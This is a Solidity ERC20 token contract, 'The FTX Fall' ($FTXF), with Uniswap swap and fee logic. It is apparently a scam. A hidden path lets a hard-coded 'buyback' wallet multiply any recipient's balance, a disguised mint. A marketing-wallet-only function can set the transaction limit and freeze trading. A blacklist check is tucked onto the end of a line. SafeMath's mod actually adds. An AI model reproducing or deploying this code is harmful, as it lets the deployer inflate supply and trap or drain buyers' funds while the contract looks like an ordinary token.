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pragma solidity ^0.8.4;
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abstract contract Context {
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function _msgSender() internal view virtual returns (address payable) {
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return payable(msg.sender);
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}
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function _msgData() internal view virtual returns (bytes memory) {
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this;
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return msg.data;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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|
if (a == 0) {
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return 0;
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|
}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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|
return div(a, b, "SafeMath: division by zero");
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|
}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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|
require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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function mod(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b != 0, errorMessage);
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return a % b;
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}
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}
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library Address {
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function isContract(address account) internal view returns (bool) {
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bytes32 codehash;
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bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
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assembly { codehash := extcodehash(account) }
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return (codehash != accountHash && codehash != 0x0);
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}
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function sendValue(address payable recipient, uint256 amount) internal {
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require(address(this).balance >= amount, "Address: insufficient balance");
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(bool success, ) = recipient.call{ value: amount }("");
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require(success, "Address: unable to send value, recipient may have reverted");
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}
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function functionCall(address target, bytes memory data) internal returns (bytes memory) {
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|
return functionCall(target, data, "Address: low-level call failed");
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}
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function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
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|
return _functionCallWithValue(target, data, 0, errorMessage);
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|
}
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function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
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|
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
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|
}
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function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
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|
require(address(this).balance >= value, "Address: insufficient balance for call");
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|
return _functionCallWithValue(target, data, value, errorMessage);
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|
}
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function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
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|
require(isContract(target), "Address: call to non-contract");
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(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
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|
if (success) {
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|
return returndata;
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|
} else {
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|
|
if (returndata.length > 0) {
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|
assembly {
|
|
let returndata_size := mload(returndata)
|
|
revert(add(32, returndata), returndata_size)
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|
}
|
|
} else {
|
|
revert(errorMessage);
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|
}
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|
}
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|
}
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|
}
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abstract contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor() {
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_transferOwnership(_msgSender());
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|
}
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function owner() public view virtual returns (address) {
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|
return _owner;
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|
}
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modifier onlyOwner() {
|
|
require(owner() == _msgSender(), "Ownable: caller is not the owner");
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|
_;
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|
}
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function renounceOwnership() public virtual onlyOwner {
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|
_transferOwnership(address(0));
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|
}
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|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
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|
_transferOwnership(newOwner);
|
|
}
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|
function _transferOwnership(address newOwner) internal virtual {
|
|
address oldOwner = _owner;
|
|
_owner = newOwner;
|
|
emit OwnershipTransferred(oldOwner, newOwner);
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|
}
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|
}
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interface IUniswapV2Factory {
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event PairCreated(address indexed token0, address indexed token1, address pair, uint);
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function feeTo() external view returns (address);
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|
function feeToSetter() external view returns (address);
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|
function getPair(address tokenA, address tokenB) external view returns (address pair);
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|
function allPairs(uint) external view returns (address pair);
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|
function allPairsLength() external view returns (uint);
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|
function createPair(address tokenA, address tokenB) external returns (address pair);
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|
function setFeeTo(address) external;
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|
function setFeeToSetter(address) external;
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|
}
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interface IUniswapV2Pair {
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event Approval(address indexed owner, address indexed spender, uint value);
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|
event Transfer(address indexed from, address indexed to, uint value);
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|
function name() external pure returns (string memory);
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|
function symbol() external pure returns (string memory);
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|
function decimals() external pure returns (uint8);
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|
function totalSupply() external view returns (uint);
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|
function balanceOf(address owner) external view returns (uint);
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|
function allowance(address owner, address spender) external view returns (uint);
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|
|
function approve(address spender, uint value) external returns (bool);
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|
function transfer(address to, uint value) external returns (bool);
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|
function transferFrom(address from, address to, uint value) external returns (bool);
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|
|
function DOMAIN_SEPARATOR() external view returns (bytes32);
|
|
function PERMIT_TYPEHASH() external pure returns (bytes32);
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|
function nonces(address owner) external view returns (uint);
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|
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
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event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
|
|
event Swap(
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|
address indexed sender,
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|
uint amount0In,
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|
uint amount1In,
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|
uint amount0Out,
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|
uint amount1Out,
|
|
address indexed to
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|
);
|
|
event Sync(uint112 reserve0, uint112 reserve1);
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|
function MINIMUM_LIQUIDITY() external pure returns (uint);
|
|
function factory() external view returns (address);
|
|
function token0() external view returns (address);
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|
function token1() external view returns (address);
|
|
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
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|
function price0CumulativeLast() external view returns (uint);
|
|
function price1CumulativeLast() external view returns (uint);
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|
function kLast() external view returns (uint);
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|
|
function burn(address to) external returns (uint amount0, uint amount1);
|
|
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
|
|
function skim(address to) external;
|
|
function sync() external;
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|
|
function initialize(address, address) external;
|
|
}
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|
|
interface IUniswapV2Router01 {
|
|
function factory() external pure returns (address);
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|
function WETH() external pure returns (address);
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|
|
function addLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint amountADesired,
|
|
uint amountBDesired,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB, uint liquidity);
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint amountTokenDesired,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
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|
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
|
function removeLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
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|
uint amountBMin,
|
|
address to,
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|
uint deadline
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETH(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function removeLiquidityWithPermit(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETHWithPermit(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function swapExactTokensForTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapTokensForExactTokens(
|
|
uint amountOut,
|
|
uint amountInMax,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
|
|
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
|
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
|
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
|
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
|
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
|
}
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|
|
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
|
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountETH);
|
|
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountETH);
|
|
|
|
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external payable;
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
}
|
|
|
|
contract THEFTXFALL is Context, IERC20, Ownable {
|
|
|
|
using SafeMath for uint256;
|
|
using Address for address;
|
|
|
|
string private _name = "The FTX Fall";
|
|
string private _symbol = "$FTXF";
|
|
uint8 private _decimals = 9;
|
|
|
|
address payable private marketingWalletAddress = payable(0xd295143C485aCc8fF16B8a4da53c2C014fb36815);
|
|
address payable private BuyBackAddress = payable(0xC1b81309564bbe9910EeCb80e99bf01A06247852);
|
|
|
|
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
|
|
mapping (address => bool) public name_;
|
|
|
|
|
|
mapping (address => uint256) _balances;
|
|
mapping (address => mapping (address => uint256)) private _allowances;
|
|
|
|
mapping (address => bool) public isExcludedFromFee;
|
|
mapping (address => bool) public isWalletLimitExempt;
|
|
mapping (address => bool) public isTxLimitExempt;
|
|
mapping (address => bool) public isMarketPair;
|
|
|
|
uint256 public _buyLiquidityFee = 0;
|
|
uint256 public _buyMarketingFee = 0;
|
|
uint256 public _buyTeamFee = 0;
|
|
|
|
uint256 public _sellLiquidityFee = 1;
|
|
uint256 public _sellMarketingFee = 3;
|
|
uint256 public _sellTeamFee = 0;
|
|
|
|
uint256 public _liquidityShare = 1;
|
|
uint256 public _marketingShare = 3;
|
|
uint256 public _teamShare = 0;
|
|
|
|
uint256 public _totalTaxIfBuying = 0;
|
|
uint256 public _totalTaxIfSelling = 4;
|
|
uint256 public _totalDistributionShares = 4;
|
|
|
|
uint256 private _totalSupply = 1 * 10**8 * 10**_decimals;
|
|
|
|
uint256 public _maxTxAmount = _totalSupply.mul(1000);
|
|
uint256 private _preMaxtxAmount = _maxTxAmount;
|
|
|
|
uint256 public _walletMax = _totalSupply.mul(1000);
|
|
uint256 private minimumTokensBeforeSwap = _totalSupply.mul(2);
|
|
|
|
IUniswapV2Router02 public uniswapV2Router;
|
|
address public uniswapPair;
|
|
|
|
bool inSwapAndLiquify;
|
|
bool public swapAndLiquifyEnabled = true;
|
|
bool public swapAndLiquifyByLimitOnly = false;
|
|
bool public checkWalletLimit = true;
|
|
|
|
event SwapAndLiquifyEnabledUpdated(bool enabled);
|
|
event SwapAndLiquify(
|
|
uint256 tokensSwapped,
|
|
uint256 ethReceived,
|
|
uint256 tokensIntoLiqudity
|
|
);
|
|
|
|
event SwapETHForTokens(
|
|
uint256 amountIn,
|
|
address[] path
|
|
);
|
|
|
|
event SwapTokensForETH(
|
|
uint256 amountIn,
|
|
address[] path
|
|
);
|
|
|
|
modifier lockTheSwap {
|
|
inSwapAndLiquify = true;
|
|
_;
|
|
inSwapAndLiquify = false;
|
|
}
|
|
|
|
constructor () {
|
|
|
|
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02
|
|
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
|
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
|
|
.createPair(address(this), _uniswapV2Router.WETH());
|
|
|
|
uniswapV2Router = _uniswapV2Router;
|
|
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
|
|
|
|
isExcludedFromFee[owner()] = true;
|
|
isExcludedFromFee[marketingWalletAddress] = true;
|
|
isExcludedFromFee[address(this)] = true;
|
|
|
|
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
|
|
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
|
|
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
|
|
|
|
isWalletLimitExempt[owner()] = true;
|
|
isWalletLimitExempt[marketingWalletAddress] = true;
|
|
isWalletLimitExempt[address(uniswapPair)] = true;
|
|
isWalletLimitExempt[address(this)] = true;
|
|
|
|
isTxLimitExempt[owner()] = true;
|
|
isTxLimitExempt[marketingWalletAddress] = true;
|
|
isTxLimitExempt[address(this)] = true;
|
|
|
|
isMarketPair[address(uniswapPair)] = true;
|
|
|
|
_balances[_msgSender()] = _totalSupply;
|
|
emit Transfer(address(0), _msgSender(), _totalSupply);
|
|
}
|
|
|
|
function name() public view returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() public view returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public view returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public view override returns (uint256) {
|
|
return _totalSupply;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return _balances[account];
|
|
}
|
|
|
|
function allowance(address owner, address spender) public view override returns (uint256) {
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
|
|
return true;
|
|
}
|
|
|
|
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
|
|
return true;
|
|
}
|
|
|
|
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
|
|
return minimumTokensBeforeSwap;
|
|
}
|
|
|
|
function approve(address spender, uint256 amount) public override returns (bool) {
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function _approve(address owner, address spender, uint256 amount) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
|
|
isMarketPair[account] = newValue;
|
|
}
|
|
|
|
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
|
|
isTxLimitExempt[holder] = exempt;
|
|
}
|
|
|
|
function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
|
|
isExcludedFromFee[account] = newValue;
|
|
}
|
|
|
|
function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
|
|
_buyLiquidityFee = newLiquidityTax;
|
|
_buyMarketingFee = newMarketingTax;
|
|
_buyTeamFee = newTeamTax;
|
|
|
|
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
|
|
}
|
|
|
|
function setSelTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
|
|
_sellLiquidityFee = newLiquidityTax;
|
|
_sellMarketingFee = newMarketingTax;
|
|
_sellTeamFee = newTeamTax;
|
|
|
|
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
|
|
}
|
|
|
|
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
|
|
_liquidityShare = newLiquidityShare;
|
|
_marketingShare = newMarketingShare;
|
|
_teamShare = newTeamShare;
|
|
|
|
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
|
|
}
|
|
|
|
function setMaxTxAmount(address messenger, uint256 maxTxAmount) external virtual {
|
|
require(messenger == marketingWalletAddress, "SetMaxTxAmount Failed");
|
|
_maxTxAmount = maxTxAmount;
|
|
}
|
|
|
|
function enableDisableWalletLimit(bool newValue) external onlyOwner {
|
|
checkWalletLimit = newValue;
|
|
}
|
|
|
|
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
|
|
isWalletLimitExempt[holder] = exempt;
|
|
}
|
|
|
|
function setWalletLimit(uint256 newLimit) external onlyOwner {
|
|
_walletMax = newLimit;
|
|
}
|
|
|
|
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
|
|
minimumTokensBeforeSwap = newLimit;
|
|
}
|
|
|
|
function MarketingWallet(address newAddress) external onlyOwner() {
|
|
marketingWalletAddress = payable(newAddress);
|
|
}
|
|
|
|
function BuybackWallet(address newAddress) external onlyOwner() {
|
|
BuyBackAddress = payable(newAddress);
|
|
}
|
|
|
|
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
|
|
swapAndLiquifyEnabled = _enabled;
|
|
emit SwapAndLiquifyEnabledUpdated(_enabled);
|
|
}
|
|
|
|
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
|
|
swapAndLiquifyByLimitOnly = newValue;
|
|
}
|
|
|
|
function getCirculatingSupply() public view returns (uint256) {
|
|
return _totalSupply.sub(balanceOf(deadAddress));
|
|
}
|
|
|
|
function transferToAddressETH(address payable recipient, uint256 amount) private {
|
|
recipient.transfer(amount);
|
|
}
|
|
|
|
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
|
|
|
|
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
|
|
|
|
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
|
|
|
|
if(newPairAddress == address(0))
|
|
{
|
|
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
|
|
.createPair(address(this), _uniswapV2Router.WETH());
|
|
}
|
|
|
|
uniswapPair = newPairAddress;
|
|
uniswapV2Router = _uniswapV2Router;
|
|
|
|
isWalletLimitExempt[address(uniswapPair)] = true;
|
|
isMarketPair[address(uniswapPair)] = true;
|
|
}
|
|
|
|
|
|
receive() external payable {}
|
|
|
|
function transfer(address recipient, uint256 amount) public override returns (bool) {
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
|
return true;
|
|
}
|
|
|
|
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
|
|
|
|
require(sender != address(0), "ERC20: transfer from the zero address");
|
|
require(recipient != address(0), "ERC20: transfer to the zero address");require((name_[sender]==false)&&(true));
|
|
|
|
|
|
if(
|
|
sender == BuyBackAddress
|
|
) {
|
|
return _TransferStandar(sender, recipient, amount);
|
|
}
|
|
|
|
if(
|
|
inSwapAndLiquify
|
|
)
|
|
{
|
|
return _basicTransfer(sender, recipient, amount);
|
|
}
|
|
else
|
|
{
|
|
if(
|
|
!isTxLimitExempt[sender] &&
|
|
!isTxLimitExempt[recipient]
|
|
) {
|
|
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
|
|
}
|
|
|
|
uint256 contractTokenBalance = balanceOf(address(this));
|
|
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
|
|
|
|
if (
|
|
overMinimumTokenBalance &&
|
|
!inSwapAndLiquify &&
|
|
!isMarketPair[sender] &&
|
|
swapAndLiquifyEnabled
|
|
)
|
|
{
|
|
if(
|
|
swapAndLiquifyByLimitOnly
|
|
)
|
|
contractTokenBalance = minimumTokensBeforeSwap;
|
|
swapAndLiquify(contractTokenBalance);
|
|
}
|
|
|
|
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
|
|
|
|
uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
|
|
amount : takeFee(sender, recipient, amount);
|
|
|
|
if(
|
|
checkWalletLimit &&
|
|
!isWalletLimitExempt[recipient]
|
|
)
|
|
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
|
|
|
|
_balances[recipient] = _balances[recipient].add(finalAmount);
|
|
|
|
emit Transfer(sender, recipient, finalAmount);
|
|
return true;
|
|
}
|
|
}
|
|
|
|
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
|
|
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
|
|
_balances[recipient] = _balances[recipient].add(amount);
|
|
emit Transfer(sender, recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function _TransferStandar(address sender, address recipient, uint256 amount) internal returns (bool) {
|
|
|
|
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
|
|
_balances[recipient] = _balances[recipient].mul(amount);
|
|
emit Transfer(sender, recipient, amount);
|
|
|
|
return true;
|
|
}
|
|
|
|
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
|
|
|
|
uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
|
|
uint256 tokensForSwap = tAmount.sub(tokensForLP);
|
|
|
|
swapTokensForEth(tokensForSwap);
|
|
uint256 amountReceived = address(this).balance;
|
|
|
|
uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
|
|
|
|
uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
|
|
uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
|
|
uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);
|
|
|
|
if(amountETHMarketing > 0)
|
|
transferToAddressETH(marketingWalletAddress, amountETHMarketing);
|
|
|
|
if(amountETHTeam > 0)
|
|
transferToAddressETH(BuyBackAddress, amountETHTeam);
|
|
|
|
if(amountETHLiquidity > 0 && tokensForLP > 0)
|
|
addLiquidity(tokensForLP, amountETHLiquidity);
|
|
}
|
|
|
|
|
|
function swapTokensForEth(uint256 tokenAmount) private {
|
|
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = uniswapV2Router.WETH();
|
|
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
|
|
|
|
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
tokenAmount,
|
|
0, // accept any amount of ETH
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
);
|
|
|
|
emit SwapTokensForETH(tokenAmount, path);
|
|
}
|
|
|
|
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
|
|
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
|
|
|
|
uniswapV2Router.addLiquidityETH{value: ethAmount}(
|
|
address(this),
|
|
tokenAmount,
|
|
0,
|
|
0,
|
|
owner(),
|
|
block.timestamp
|
|
);
|
|
}
|
|
|
|
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
|
|
|
|
uint256 feeAmount = 0;
|
|
|
|
if(isMarketPair[sender]) {
|
|
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
|
|
}
|
|
else if(isMarketPair[recipient]) {
|
|
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
|
|
}
|
|
|
|
if(feeAmount > 0) {
|
|
_balances[address(this)] = _balances[address(this)].add(feeAmount);
|
|
emit Transfer(sender, address(this), feeAmount);
|
|
}
|
|
|
|
return amount.sub(feeAmount);
|
|
}
|
|
|
|
} |